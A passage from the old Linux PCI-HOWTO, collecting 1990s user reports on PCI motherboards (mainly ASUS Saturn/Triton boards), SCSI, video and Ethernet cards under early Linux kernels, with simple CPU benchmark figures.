  • Detection is not done well, and does not use standard PCI BIOS detection methods (someone who has a PCI board needs to send me patches to fix this problem). So, you might have to fiddle with the detection routine in the kernel to get it detected.
  • The driver still does not support multiple outstanding commands, so your system will hang while your tape rewinds.
  • The driver does not support the enhanced pseudo-32bit transfer mode supported by recent Future Domain chips, so you will not get transfer rates as high as under DOS.
  • The driver only supports the SCSI-I protocol, so your really fast hard disks will not get used at the highest possible throughput. (Again, fixes for all these problems are solicited -- no one is working on them at this time.)

2.9 other thoughts on scsi

James Soutter (J.K.Soutter1@lut.ac.uk) asked me to add the following information on Fast-Wide-SCSI-2:

Fast Wide SCSI-2 is sometimes incorrectly called SCSI-3. It differs from the normal Fast SCSI-2 (like the Adapted 1542B?) because it uses a 16 bit data bus rather than the more usual 8 bit bus. This improves the maximum transfer rate from 10 MB/s to 20 MB/s but requires the use of special Fast Wide SCSI-2 drives.

The added performance of Fast Wide SCSI-2 will not necessarily improve the speed of your system. Most hard disk drives have a maximum internal transfer rate of less than 10 MB/s and so one drive alone can not flood a FAST SCSI-2 bus.

In Seagate's Oct 1993 product overview, only one Fast Wide SCSI-2 drive has an internal transfer rate of more than 10 MB/s (the ST12450W). Most of the drives have a maximum internal transfer rate of 6 MB/s or less, although the ST12450W is not the only exception to the rule. In conclusion, Fast Wide SCSI is designed for the file server market and will not necessarily benefit a single user workstation style system.

Rather than buying a PCI system with a SCSI interface on the motherboard, or rather than waiting for the NCR driver, you could purchase a separate PCI based SCSI card. According to Drew, the only PCI SCSI option that stands a chance of working is the Buslogic 946. It purports to be Adaptec 1540 compatible, like the EISA/VESA/ISA boards in the series.

Drew commented that other PCI based SCSI controllers are unlikely to be supported under Linux or the BSD's because the NCR based controllers are cheaper and more prevalent.

I definitly recommend reading the SCSI HOWTO in regards to newer information about PCI SCSI drivers.

Ernst Kloecker (ernst@cs.tu-berlin.de) wrote: (edited)

Talus Corporation has finished a NS/FIP driver for PCI boards with NCR SCSI. It will be shipping very soon, might even be free because a third party might pay for the work and donate the driver to NeXT.

Not every PCI-Board has got the chip. The old ASUS do, and one of the J-Bond boards does, too. (Most of the boards nowadays (6/95) do expect you to buy the NCR53c810 seperately.) Some vendors provide an alternative as you can read in Drew's text...

The NCR-Chip is clever enough to work with drives formatted by other controllers, and should be no problem.


Linux PCI-HOWTO: ASUS-Boards

 Next Previous Contents

3. ASUS-Boards

3.1 ASUS and the NMI (Parity) -- impact on Gravis-Ultrasound

The newer trition PCI-Mainboards in 1995 did not seem to support parity-SIMMS anymore. Since I usualy took the cheaper nonparity-SIMMS anyway, I did not consider this a problem until I put the Gravis-Ultrasound into my machine. Under DOS the SBOS-Driver and Setup/Test utility does complain about "nmi procedure disabled on this p.c.". The manual says I'd better get a better mainboard in that case, not very helpful.

The gravis-ultrasound did work nice in the ASUS-SP3 and ASUS-SP4, inspite of this, but the gravis-ultrasound-max I have here got gmod to kernel panic on both boards, and sometimes when playing au-files via /dev/audio did strange things, like playing the rest of an older, previously played sound after the new one. The sounddriver does recommend a buffer of 65536 with the GUS Max instead of the small one like the GUS - why I do not know. I do not have such a problem with the newer ASUS TP4 XE boards, though. Both are equipped with 1M DRAM onboard. These problems are probably not related to the NMI-problem, but because of the sounddriver?

I heard not only ASUS but most of the newer PCI-Mainboards are lacking in parity/NMI-support.

Strange enough - the ASUS-TP4 (Trition Chipset) does work with the GUS Max - it does load the SBOS-Driver. I have to admit, I am confused.

3.2 Various types of ASUS Boards

ASUS SP3 with saturn chipset I (rev. 2) for 486,

  • 2 x rs232 with 16550
  • NCR53c810 onboard,
  • slightly broken saturn-chipset I (rev. 2)

ASUS SP3G with saturn chipset II (rev. 4) for 486,

like SP3, but less buggy saturn chipset

ASUS SP3-SiS chipset, for 486

like AP4, but newer, SiS chipset, green functions and all the EIDE, rs232 with 2 16550 and centronics. Only 2 SIMM Slots, Does seem to work with AMD486DX4/120, but was not very reliably on NCR53c810 and various operating systems (Windows-NT, Windows95, OS2), after upgrading to a PentiumBoard ASUS SP4, all the problems vanished, so it must have been the board. Still does seem to work nice for Linux, though.

ASUS AP4, for 486, with PCI/ISA/VesaLocalbus

green functions, 1VL, 3 ISA, 4 PCI slots, only EIDE onboard, no fd-controller, no rs232/centronics. Very small size.

does recognice AMD486DX2/66 as DX4/100 only. This can be corrected with soldering one pin (which?) to ground, but I would not recommend a board like this anyway.

The one I tested was broken for OS2 and Linux, but people are said to use it for both.

The VesaLocalbus-Slot is expected to be slower than the normal vesa-localbus boards because of the PCI2VL bridge, but without penalty to the PCI section.

ASUS SP4-SiS, for Pentium90, PCI/ISA

like SP3-SiS, but for Pentium90/100.

ASUS TP4 with Triton chipset and EDO-Support

has the Triton-Chipset for better performance and supports normal PS2-Simms as well as Fast-Page-Mode and EDO modules.

ASUS TP4XE with Triton chipset and additional SRAM/EDORAM support

supports the new EDORAM and upcoming SRAM standards. At least SRAM is said to considerabely increase performance. Did for some reason not accept the 8M PS2-SIMMS working ok in ASUS SP4, after changing them against others, bigger looking ones, (16 chips instead of 8 if I remember right) it worked ok. Has been tested with P90 and P100.

...and many others now.

if you have new information on problems with them, please report.

3.3 Benchmarks on ASUS Mainboards

I tried to compare the speed of CPUs in two ASUS Mainboards: for 486 I tested the SP3 SiS (the one with one vesa-local-bus slot) and for 586 I tested the ASUS TP4/XE, each with 16M RAM, always the same unloaded system with another CPU, with whetstone and dhrystone.

I must admit, I have not read the benchmarks-faq yet, and will probably edit the section a loot soon. If you have any comments, please mail me.

I am especially confused about the amd486DX4/100 being faster on dhrystones than the DX4/120 version? I did not see that kind of inconsistency on comparing the P90 and P100.

Perhaps this was at fault: when I plugged in the amdDX4-100, I had the board jumpered for DX2-66. While the BIOS did report it as an DX4-100, the board might have used the wrong clockspeeds... but since DX2-66 uses 33Mhz * 2 and DX4 uses 33Mhz * 3, this would have been correct?

The board running with DX4-120 is jumpered to 40Mhz * 3 = 120 Mhz.

Another thing I wonder about is why the whetstones-result does yield so even numbers on some machines?

ASUS SP3 with amd486DX4-100

  • Dhrystone time for 500000 passes = 7 by 63559 dhrystones/second
  • Whetstone time for 1000 passes = 5 by 200.0000 Whetstones/second

ASUS SP3 with amd486DX4-120

  • Dhrystone time for 500000 passes = 8 by 56074 dhrystones/second
  • Whetstone time for 1000 passes = 4 by 250.0000 Whetstones/second

ASUS SP3 with intel486DX2-66

  • Dhrystone time for 500000 passes = 9 by 50761 dhrystones/second
  • Whetstone time for 1000 passes = 7 by 142.8571 Whetstones/second

ASUS TP4/XE with intel586-90

  • Dhrystone time for 500000 passes = 4 by 101010 dhrystones/second
  • Whetstone time for 1000 passes = 3 by 333.3333 Whetstones/second

ASUS TP4/XE with intel586-100

  • Dhrystone time for 500000 passes = 4 by 102040 dhrystones/second
  • Whetstone time for 1000 passes = 2 by 500.0000 Whetstones/second

3.4 Detailed information on the old ASUS PCI-I-SP3 with saturn chipset from heinrich@zsv.gmd.de:

  • 3 PCI, 4 ISA Slots (3x16, 1x8 Bit)
  • ZIF Socket for the CPU
  • room for 4 72pin-SIMMs (max. 128M)
  • Award BIOS in Flash-Eprom
  • Onboard: NCR-SCSI, 1par, 2ser (with FIFO), AT-Bus, Floppy

The board does like most in that price class -- write-through cache, no write-back. This should not be significant, maybe 3% of performance.

The BIOS supports scsi-drives under DOS/Windows without additional drivers, but with the board come additional drivers which are said to give better performance, for DOS/Windows(ASPI), OS2, Windows-NT, SCO-Unix, Netware (3.11 and 4, if interpreted correctly)

Gert Doering (gert@greenie.muc.de) was saying the SCO-Unix-driver for the onboard-SCSI-Chip was not working properly. After two or three times doing: "time dd if=/dev/rhd20 of=/dev/null bs=100k count=500" it kernel-paniced...

The trouble some people experienced with this board might be due to them using an outboard Adaptec-SCSI-Controller with "sync negotiation" turned on. (This predates the NCR driver release; hence the use of the Adaptec.) Please check that in the BIOS-Setup of the Adaptec-1542C if you use one and have problems with occasional hangups!

There is a new version of the ASUS-Board which should have definitely less problems. It is called ASUS-PCI-I/SP3G, the G is important. It has the new Saturn-chipset rev. 4 and the bugs should be gone. They use the Saturn-ZX-variant and the new SP3G has fully PCI conforming level-triggered (thus shareable), BIOS-configurable interrupts. It has an on-board PS/2-mouseport, EPA-power-saving-modes and DX4-support, too. It performs excellently. If you can get the German computer magazine C't from July (?), you will find a test report where the ASUS-Board is the best around.

Latest information about ASUS-SP3-G: You might experience crashes when using PCI-to-Memory-Posting. If you disable this, all works perfect. jw@peanuts.informatik.uni-tuebingen.de said he believed it to be a problem of the current Linux-kernel rather than the hardware, because part of the system still works when crashing, looking like a deadlock in the swapper, and OS2/DOS/WINDOZE don't crash at all.

Someone else with a very old ASUS-SP3 (saturn-I chipset) reported crashes with using XFree86, which went away when he installed the very latest betaversion which seems to work around a bit of the problems.

3.5 Pat Dowler (dowler@pt1B1106.FSH.UVic.CA) with ASUS SP3G

  • ASUS SP3G board (it is rev.4 == saturn II)
  • AMD DX4-100 CPU (need to set jumper 36 to 1&2 rather than 2&3, otherwise it's set the same as other 486DXn chips)
  • 256K cache (comes with 15ns cache :-)
  • 16meg RAM (2x8meg)
  • ET4000 ISA video card
  • quantum IDE hard drive
  • SMC Elitel16 combo ethernet card

Unlike some other reports, I find the mouse pointer moves very smoothy under X (just like the ol' 386) - it is jumpy under some, but not all, DOS games though...

Performance is great!! I ran some large floating point tests and found the performance in 3x33 (100MHz) mode to be almost 1.5x that in 2x (66MHz) mode (large being 500x500 doubles - 4meg or so)... I was a little dubious about clock-tripling but I seem to be getting full benefit :-)

The heavily configurable energy star stuff doesn't work with the current AMD DX4 chips - you need an SL chip

I really need a SCSI disk and a PCI video card :-)

(I had a phonecall by a person who had this problem with the buggy SMC FIFO chipset, after using X-window they hung.)


Linux PCI-HOWTO: confusion about saturn chipsets

 Next Previous Contents

4. confusion about saturn chipsets

Pat Duffy (duffy@theory.chem.ubc.ca) said:

Saturn I:  these are revisions 1 and 2 of the Saturn chipsets.
Saturn II:  This is also called rev. 4 of the Saturn chipsets.

As far as I know, rev. 3 never actually shipped, and (from a few people who
have it) the SP3G now has rev. 4 (or Saturn II) in it.

Confused?  Well, the only real definitive answer is to get ahold of the board
and run the debug script in the PCI chipset list on it.  As far as I know,
though, the SP3G board is indeed shipping with rev. 4 (Saturn II).


Linux PCI-HOWTO: Video-Cards

 Next Previous Contents

5. Video-Cards

Linux people have successfully used # 9 XGE Level 12, ELSA Winner 1000, and S3-928 video cards. The XFree86(tm)-3.1.1 does support boards with the tseng et4000/w32 in accelerated mode, as well as S3 Vision 864 and 964 chipsets including boards like the ELSA Winner 1000Pro and 2000Pro, Number Nine GXE64 and GXE64Pro, Miro Crystal 20SV). Support in the S3 Server for the Chrontel8391 clock chip has been added.

Trio32 and Trio64 S3 Boards like the SPEA V7 Mirage P64 PCI and MIRO Crystal 40SV, are also supported, the Mach32 and Mach64 are supported in accelerated mode, too.

The SVGA Driver

16bpp mode (65K colors instead of the usual 256) support for Mach32 boards as well as 32bpp for some S3 boards and the P9000 boards has been added.

tldraben@teleport.com reported:

  • Diamond Stealth W32 (et4000/W32) -- Text mode works, X11 suffered from "pixel dust", unbearable never got it to work and returned it.
  • # 9GXE L12 -- Works, virtual consoles corrupted when switched, fixed this with disabling the "fast dram mode" feature in his BIOS. Does not get a dot clock above 85, though.

Genoa Phantom 8900PCI card seems to work well. Genoa Phantom/W32 2MB does not work in an ASUS-Board. Tseng 3000/W32i chipset seems to work well. Spea-v7 mercury-lite works perfectly since XFree86(tm)-2.1.

Spea V7 Mirage P64 PCI 2M with Trio64 works nice since XFree86(tm)-3.1.1

ATI Graphics Ultra Pro for PCI with 2MB VRAM and an ATI68875C DAC run well as dem@skyline.dayton.oh.us tells us: "It's humming right along at 1280x1024 w/256 colors @74Hz non-interlaced. Looks great."

Paradise WD90C33 PCI did lock up on screensaver/X - this has been solved in the newer versions of the kernel. jbauer@badlands.NoDak.edu (John Edward Bauer)

miroChrystal 8S/PCI (1MB) S3 - no problem.

Stephen Tweedie reported his Cirrus Logics 5434 PCI card works well. It is a 64bit with 2M and runs perfectly with the SVGA driver in 8, 16 and 32 bit per pixel.


Linux PCI-HOWTO: Ethernet Cards

 Next Previous Contents

6. Ethernet Cards

Of course the ISA-ethernet-cards still work, but people are asking for PCI-based ones. The author of many (if not most) ethernet- drivers said the following some time ago (unfortunately I have not managed to contact him about new information):

From: Donald Becker (becker@cesdis.gsfc.nasa.gov) Subject: PCI ethernet cards supported?

The LANCE code has been extended to handle the PCI version. I hope to get the PCI probe code (about a dozen extra lines in the LANCE driver) into the next kernel version. I'm working on the 32 bit mode code. I haven't yet started the 21040 code.

I'll write drivers for the PCnet32 mode and the DEC 21040. That will cover most of the PCI ethercard market.

file://cesdis.gsfc.nasa.gov/pub/people/becker/whoiam.html

In the new testkernels of 1.1.50 and above, the AMD-singlechip ethernetadapters are supported. With a pentium, they ought to then see 900K/second ftps +(assuming an NCR PCI scsi controller) at about 20% cpu load. (AMD Lance).

Anything based on the AMD PCnet/PCI chip should work at the time being. In the US the Boca board costs under US$ 70

Geoffry Coram reported in the news that he got his 3com 590 TPO to work. He had to get the alpha driver from http://cesdis.gsfc.nasa.gov/linux/drivers. Other drivers would be there as well. Note http://cesdis.gsfc.nasa.gov/linux/drivers/vortex.html

Donald Holmgren said he successfully attached his DEC DE435 (PCI) card to the local network on thin coax (BNC). The DE435 driver checks the twisted pair connection first, then switches to the alternate port (jumper selectable as AUI or BNC) if the 10BaseT port fails.

Jim Cusick uses the Boca BEN 1PI card on a thin coax network. It works just fine. You might want to check out: http://cesdis.gsfc.nasa.gov/linux/misc/boca-failure.html for details on the early failures of this card. My second card, after sending one back for replacement, was marked "PN 4186". The old one that did not work was "PN 4185". Mandate this newer model when you order from you vendor. At $ 70, the card is a good deal.

Dave Platt recommends to stay off the Boca BEN1PI card at all costs. It would be unreliable due to design flaws, and Boca seems unable to really fix the problem. The 3Com 3c590 "Vortex" PCI card is available in a combo version (10BaseT, thin coax, and AUI). The Linux driver for this card is not yet part of the release kernel, but is available from http://cesdis.gsfc.nasa.gov/linux/drivers/vortex.html and can be patched into the later 1.2.x kernels (as well as 1.3.x) without much difficulty. The Linux driver does not support the interface autodetect feature of this card - you must use the DOS utility to configure the card for the interface you wish to use (thin coax in this case). Once you've done that, the Linux driver will use the correct interface.

He has been using a 3c590 for several weeks, and it is working fine.

Dave Kennedy said he got two of the above Boca boards and they work fine under light load, but under heavy work like ftping two 16M files into both directions, they failed. He sent the boards back to Boca for a hardwarefix. After they soldered a couple of things (diodes/resistors) onto the card and sent them back, the cards worked fine regardless of load. The two cards have been in 7/24 use in two P90 systems without problems for 6 months now.

Craig does not recommend it since Boca seems not to follow the AMD specs but he has been running them for 2 weeks without problems. He tested his NFS performance and has been moving large files to and from server (16M, 8M). He also tried to do all his workin localy using his data files mounted by NFS and has had no problems. Performance seems to be 100 percent better (wrt to NFS performance) over his NE2000 ISA board. (editors note: but so would probably have been the ISA SMC Elite Ultra?)

6.1 3com-3c590-tpo

Someone on usenet mentioned ht used the 3Com-3C590-TPO (EtherLink III - PCI). He had to get the "3c59x.c" driver and "vortex.patch" to make it work with his 1.2.8 Linux kernel.

6.2 DEC435 PCI NIC

The DEC435 PCI NIC is said to work great with the drivers included in the Slackwaredistribution - I'd say they are in the standard-kernel?


Linux PCI-HOWTO: Motherboards

 Next Previous Contents

7. Motherboards

The people who answered were using the following boards:

7.1 ASUS

  • Ruediger.Funck@Physik.TU-Muenchen.DE - successful.
  • strauss@dagoba.escape.de - half-successful, works, but...
  • krypton@netzservice.de (Ulrich Teichert), - successful.
  • heinrich@zsv.gmd.de - successful
  • CARSTEN@AWORLD.aworld.de - successful
  • egooch@mc.com - successful - but trouble with the serial port
  • archie@CS.Berkeley.EDU and his friend - successful after solving IDE-puzzle
  • Lars Heinemann (lars@uni-paderborn.de) successful
  • Michael Will (Michael.Will@student.uni-tuebingen.de) - successful.

7.2 Micronics P54i-90

root@intellibase.gte.com succesful bill.foster@mccaw.com successful karpens@ncssm-server.ncssm.edu successful

7.3 SA486P AIO-II

ah@doc.ic.ac.uk successful

7.4 Sirius SPACE

hi86@rz.uni-karlsruhe.de - successful

7.5 Gateway-2000

kenf@clark.net - no problems except the soundcard he tries to swap dmarples@comms.eee.strathclyde.ac.uk - successful, but... robert logan (rl@de-montfort.ac.uk) - flawless. James D. Levine (jdl@netcom.com) - flawless.

7.6 Intel-Premiere

grif@cs.ucr.edu - successful jeromem@amiserv.xnet.com - successful demarest@rerf.or.jp - successful (Premier-II)

7.7 DELL Poweredge SP4100 gbelow@pmail.sams.ch - successful

7.8 DELL OptiPlex Gl+ 575 torsten@videonetworks.com - successful when turning off plug and play

7.9 Comtrade Best Buy PCI / PCI48X MB Rev 1.0

tldraben@Teleport.Com - "Works, I believe it has buggy Saturn chipset. I would also like to add: I strongly recommend not buying from Contrade. Their service is horrible. "

7.10 IDeal PCI / PCI48X MB Rev 1.0

tldraben@Teleport.Com - "Did not work with PCI48X motherboard"

7.11 CMD Tech. PCI IDE / CSA-6400C

tldraben@TelePort.com - "Works"

7.12 GA-486iS (Gigabyte)

Stefan.Dalibor@informatik.uni-erlangen.de - success with problems.

7.13 GA-586-ID (Gigabyte) 90 Mhz Pentium PCI/EISA Board

kkeyte@esoc.bitnet - succesful

7.14 ESCOM 486dx2/66 - which board?

Works perfect except the ftape-streamer (archive)

7.15 J-Bond with i486dx2/66

Drew Eckhardt (drew@kinglear.cs.Colorado.EDU) uses Diamond Stealth 64 VRAM with 4M of memory (964 based). It works great, he usualy runs it at 1024x768 72hz in 32bpp; 16 and 8bpp also work. He needed to get the X311u2S3.tgz server from ftp.xfree86.org; people with 968 based Diamond boards will definately need to do this.

7.16 super micro 011895 03:50 SUPER P54CI-PCI rev 1.3 (Opti)

Manuel de Vega Barreiro

  • board super micro 011895 03:50 SUPER P54CI-PCI rev 1.3
  • Opti chipset: 82c557,82c556,82c558,82c621.
  • 4 PCI, 4 ISA Slots (4x16 Bit)
  • ZIF Socket for CPU (120,100,90,75 mHz)
  • 4 72 pin-SIMMs (max 128Mb)
  • cache 256,512,1024 Kb L2-cache
  • Ami WinBIOS in Flash-Eprom (101094-VIPER-P)
  • onboard: EIDE for 4 drives
  • Pentium with 90Mhz, 8M (now 16M) RAM and 256K L2-cache.
  • 1 maxtor 540 Mb, 1 st3122A 1Gb
  • Number Nine 9GXE64pro with 2Mb
  • Sound blaster 16 + cdrom Matsushita
  • 17" microscan 5ep ADI monitor
I run linux 1.1.57 (now 1.2.1) without problems. dosemu0.53 work fine (com. software like kermit and xtalk) XFree86 3.1 at 1024x768 resolution


Linux PCI-HOWTO: reports on success

 Next Previous Contents

8. reports on success

8.1 GigaByte GA486-AM with AMD Am5x86-133-WB @ 160MHz (40MHz PCI)

GigaByte GA486-AM

  • AMD Am5x86-133-WB @ 160MHz (40MHz PCI)
  • BIOS as of 11/07/95 (Rev.A)
  • 256KB 2nd level cache (15ns)
  • 48MB RAM (Mixed 60/70ns)

Hercules Terminator 64/VIDEO (S3 765 or "Trio 64V+")

Sound Blaster 16

  • Panasonic CR563 CD-ROM drive

Silicon 4Ser/3Par I/O

  • Mouse
  • Terminal
  • Terminal
  • Modem (14k4)
  • HP Laserjet III

Mitsumi CD-ROM controller

  • FX001D drive

Longshine 1MBit Floppy controller

  • IOMega Tape Insider 250
  • 3,5" Floppy
  • 5,25" Floppy

No Network card, because the 4 ISA slots are full, and I don't have a PCI card. I (now) use kernel 2.0.22 with APM enabled, and the hard drives power down and up properly without panics. The system is 24hrs up a day and still running. Kernel compilation takes between 5 and 7 minutes, depending on options.

8.2 California Graphics - Sunray II Pro

Guido Trentalancia (guido@gulliver.unian.it) reported the California Graphics - Sunray II Pro with Triton chipset to work well with Pentium100, Hd: Conner cfs420a, Conner cfs210a, crunching numbers at 147492 dhrystones/second.

8.3 Micronics P54i-90 (root@intellibase.gte.com)

Pentium with 90Mhz, 32M RAM and 512K L2-cache. Works extremely well (a kernel recompile takes 10 minutes :-).

The board includes:

  • UART - two 16550A high speed UARTS
  • ECP - one enhanced parallel port
  • Onboard IDE controller
  • Onboard floppy controller

Pros: Currently, I'm using it with an Adaptec 1542CF and a 1G Seagate drive, No problems. Graphics is ATI Graphics Pro Turbo (PCI). Very fast. The serial ports can keep up with a TeleBit T3000 modem (38400) without overruns. Caching above 16M does occur. There are 3 banks of SIMM slots (2 SIMM's per bank), with each bank capable of 64M each (2 32M 72-pin SIMM's). Each bank must be filled completely to be used (I'm only using bank 0 with 2 16Mx72-pin SIMM's). The CPU socket is a ZIF type socket. The BIOS is Phoenix, FLASH type.

Drawbacks: RAM is expandable to 192M, but the L2 cache is maxed at 512K. While the graphics are very fast, there is currently no XF86 server for the Mach64 (well, actually there is, but it doesn't use any of the accelerator features; it's just an SVGA server). I don't know if the onboard IDE hard drive controller works; I'm prejudiced against a standard that won't allow my peripherals to operate across platforms, so I didn't buy an IDE disk; instead, I got a Seagate 31200N and a NEC 3Xi.

Mitch

8.4 Angelo Haritsis (ah@doc.ic.ac.uk) about SA486P AIO-II:

The motherboard I eventually bought (in the UK) is one supporting 486 SX/DX/DX2/DX4 chips. It is called SA486P AIO-II. Features include:

  • Intel Saturn v2 chipset
  • Phoenix BIOS (flash eprom option)
  • NCR scsi BIOS v 3.04.00
  • 256K 15ns cache (max 512) write back and write through
  • 4 72-pin SIMM slots in 2 banks
  • 3 PCI slots, 4 ISA
  • On-board NCR 53c810 scsi controller
  • On-board IDE / floppy / 2 x 16550A uarts / enhanced parallel

I bought it from a company (UK) called ICS, (note I have no connections whatsoever with the company, just a happy customer). I use a 486/DX2-66 CPU.

Before I had a VLB 486 m/board with a buslogic BT-445S controller that I was borrowing. I have 2 scsi devices: 1 barracuda 2.1GB ST12550N disk and a Wangtek 5525ES tape drive. I was expecting a lot of adventures by switching to the new motherboard, esp after hearing all these non-success stories on the net. To my surprise everything worked flawlessly on the 1st boot! (1.1.50). And it has been doing so for about a month now. I did not even have to repartition the disk: apparently the disk geometry bios translation of the 2 controllers is the same. Linux has had no problems at all. SCSI is visibly much faster as well (sorry, I have no actual performance measurements).

The only problems (related to Drew's linux ncr53c7,810 scsi driver - thanks for the good work Drew!) are:

  • no synchronous transfers are yet supported => performance hit
  • disconnect/reconnect is disabled => disk scsi ops "hold" during certain slow scsi device opeartions (eg tape rewind)
  • tagged queuing is not there (?) => performance hit

If you get Windows complainingg about 32-bit disk driver problems, just disable 32-bit disk access via Control Panel. This should not hurt performance. (What I did is remove the WDCTRL driver from my SYSTEM.INI).

All else is fine. I tried the serial ports with some dos/windows s/w and worked ok. The IDE/floppy work ok as well. I have not tried the parallel yet. The motherboard is quite fast and so far I am very pleased with the upgrade. I have not yet tried a PCI graphics board. I will later on. I am using an old ISA S3 which is fine at the moment.

PS: the NCR drivers in the 2.0.x kernels should have no problems of that kind anymore. please consult the SCSI-HOWTO for further and hopefully more uptodate information.

8.5 bill.foster@mccaw.com about his Micronics M5Pi

Micronics M5Pi motherboard with 60 MHz Pentium, PCI bus having the following components:

16Mb RAM/512k cache
onboard IDE, parallel, 16550A UARTS
2 X 340MB Maxtor IDE Hard Drives
Soundblaster 16 SCSI-II
Toshiba 3401B SCSI CD-ROM
Archive Viper 525MB SCSI Tape Drive
Viewsonic 17 monitor
Cardex Challenger PCI video card (ET4000/W32P)
A4-Tech Serial Mouse

Everything works great, Slackware installation was very easy, I can run Quicken 7 for DOS under DOSEMU. I run X at 1152x900 resolution at 67Hz.

8.6 Simon Karpen (karpens@ncssm-server.ncssm.edu) with Micronics M54pi

I have had no problems with the above board, the on-board PCI IDE (hopefully soon will also have SCSI), and an ATI Mach32 (GUP) with 2MB of VRAM.

8.7 Goerg von Below (gbelow@pmail.sams.ch) about DELL Poweredge

- Intel 486DX4/100
- 16 MB RAM
- DELL SCSI array (DSA) with Firmware A07, DSA-Manager 1.7
- 1 GB SCSI HD DIGITAL
- NEC SCSI CD-ROM
- 2 GB internal SCSI streamer
- 3-Com C579 EISA Ethernet card
- ATI 6800AX PCI VGA subsystem, 1024 MB RAM

CAVE! DELL SCSI Array controller (DSA) runs only with firmware Rev. A07 !
A06 is buggy, impossible to reboot !
To get it: ftp dell.com , file is /dellbbs/dsa/dsaman17.zip

Apart from this firmware-problem there where no problems for the last 2 months, running with linux 1.1.42 as primary nameserver, newsserver and www-server on internet.

8.8 zenon@resonex.com about Gateway2000 P-66

Gateway2000's P5-66 system with Intel's PCI motherboard, with 5 ISA slots and 3 PCI slots. The only PCI card I am using is the # 9 GXe level 12 PCI card (2 MB VRAM and 1 MB DRAM). This card was bought from Dell. Under Linux I am using the graphics in the 80x25 mode only (I am waiting for some XFree86 refinements before using it in 1280x1024 resolution), but under DOS/Windows I have used the card in 1280x1024x256 mode without problems. Etherlink 3C509 Ethernet card, Mitsumi bus-interface card, Adaptec 1542C SCSI interface card and additional serial/parallel ports card (which makes the total of serial ports 3).

I have total of 32 MB RAM (recognized and used by both Linux and DOS). There is also a bus mouse (Microsoft in the PS2 mode).

No problems so far.

8.9 James D. Levine (jdl@netcom.com) with Gateway2000

Gateway 2000 P5-60 with an Intel Mercury motherboard, AMI-Flash-BIOS, (1.00.03.AF1, (c)'92) 16M RAM, on-board IDE controller and an ATI AX0 (Mach32 Ultra XLR) PCI display adapter. He had absolutely no problems with the hardware so far but has not tried anything fancy, such as accelerated IDE drivers or SCSI support.

8.10 hi86@rz.uni-karlsruhe.de with SPACE

SPACE-board, 8MB RAM, S3 805 1MB DRAM PCI 260MB Seagate IDE-hard disk because of lack of NCR53c810-Driver, 0.99pl15d, does seem to work well.

8.11 grif@cs.ucr.edu with INTEL

17 machines running a 60Mhz-i586 on Intel-Premier-PCI-Board

8.12 Jermoe Meyers (jeromem@amiserv.xnet.com) with Intel Premiere

Motherboard - Intel Premiere Plato-babyAT 90mhz with Buslogic bt946c w/4.86 mcode w/4.22 autoSCSI firmware, (note, mine came with 4.80 mcode and 4.17 autoSCSI firmware. (interrupt pins A,B,C conform to respective PCI slots!) ATI Xpression (Mach64) - using driver from sunsite, (running AcerView 56L monitor).

The motherboard has 4 IDE drives, Linux (Slackware 2.0) sees the first two and everything on the Buslogic as it emulates an adaptec 1542. Uh, yes, Dos sees them all. Buslogic is VERY accomodating in regards to shipping upgraded chips (you will have to know how to change PLCC (plastic leaded chip carrier) chips, 3 of them. Though, don't let that scare you :-) it's not that tough. Get a low end PLCC removal tool, and your in business. You also might want to "flash upgrade your system bios from Intel's IPAN BBS, a trivial process. Whats even more interesting is I also have a Sound Blaster SCSI-2 running a scsi CDROM drive off it's adaptech 1522 onboard controller. So thats 4 IDE drives (2 under Linux) and 2 SCSI-2 controllers.

I hope this helps others who are struggling with PCI technology use Linux! Jerry (jeromem@xnet.com)

8.13 Timothy Demarest (demarest@rerf.or.jp) Intel Plato Premiere II

My system is configured as follows: 16Mb 60ns RAM, 3Com Etherlink-III 53C809 ethernet card (using 10base2), ATI Mach 64 2Mb VRAM, Toshiba 2x SCSI CDROM, NCR 53c810 PCI SCSI, Syquest 3270 270Mb Cartridge Drive, Viewsonic 17 monitor, Pentium-90 (FDIV Bug Free). Running Slackware 2.1.0, Kernel 1.2.0, with other misc patches/upgrades.

Everything is functioning flawlessly. I dont recommend the Syquest drives. I have used the 3105 and the 3270 and both a very, very fragile. Also, the cartridges are easily damaged and I have had frequent problems with them. I am in the process of looking for alternative removable storage (MO, Zip, Minidisc, etc).

Some information you might need:

Flash Bios upgrades

Flash Bios updates can be ftp'd from wuarchive.wustl.edu:/pub/MSDOS_UPLOADS/plato. The current version is 1.00.12.AX1. The BIOS upgrades *must* be done in order. 1.00.03.AZ1 to 1.00.06.AX1 to 1.00.08.AX1 to 1.00.10.AX1 to 1.00.12.AX1. The Flash BIOS updates can also be downloaded from the Intel BBS. I do not have that number right now.

NCR 53c810 BIOSless PCI SCSI

If you are using an NCR 53c810 BIOSless PCI SCSI card in the Plato, you may have trouble getting the card to be recognized. I had to change one of the jumpers on the NCR card: the jumper that controls whether there is 1 or 2 NCR SCSI cards in your system must be set to "2". I dont know why, but this is how I got it to work. The other jumper controls the INT setting (A,B,C,D). I left mine at A (the default).

apart from that - plug and play!

There are no settings in the motherboard BIOS for setting the NCR 53c810. Dont worry - once the card is jumpered correctly, it will be recognized! So much for PCI Plug-n-Play!

8.14 heinrich@zsv.gmd.de with ASUS

ASUS-PCI-Board (SP3) having:

  • -- Asus PCI-Board with AMD 486/dx2-66 and 16M RAM
  • -- Fujitsu 2196ESA 1G SCSI-II
  • -- Future Domain 850MEX Controller (cheap-SCSI-Controller, almost a clone to Seagate's ST01... want's to use ncr53c810 as soon as the driver comes out
  • -- ATI Graphics Ultra (the older one with Mach-8 Chip, ISA-Bus)
  • -- Slackware 1.1.1

He just exchanged the boards, plugged his cards in, connected the cables, and it worked perfect. He does not use any PCI-Cards yet, though.

8.15 CARSTEN@AWORLD.aworld.de with ASUS

ASUS-PCI-Board with 486DX66/2, miro-crystal 8s PCI driven by the S3-drivers of XFree86-2.0, using the onboard SCSI-Chip. No problems with compatibility at all.

8.16 Lars Heinemann (lars@uni-paderborn.de) with ASUS

ASUS PCI/I-486SP3 Motherboard w/ 486DX2/66 and 16M RAM (2x8), miroChrystal 8S/PCI (1MB) S3, Soundblaster PRO, Adaptec 1542b (3.20 ROM) SCSI host adapter with two hard disks (Fujitsu M2694ESA u. Quantum LPS52) and a QIC-150 Streamer attached. No problems at all!

8.17 Ruediger.Funck@Physik.TU-Muenchen.DE with ASUS

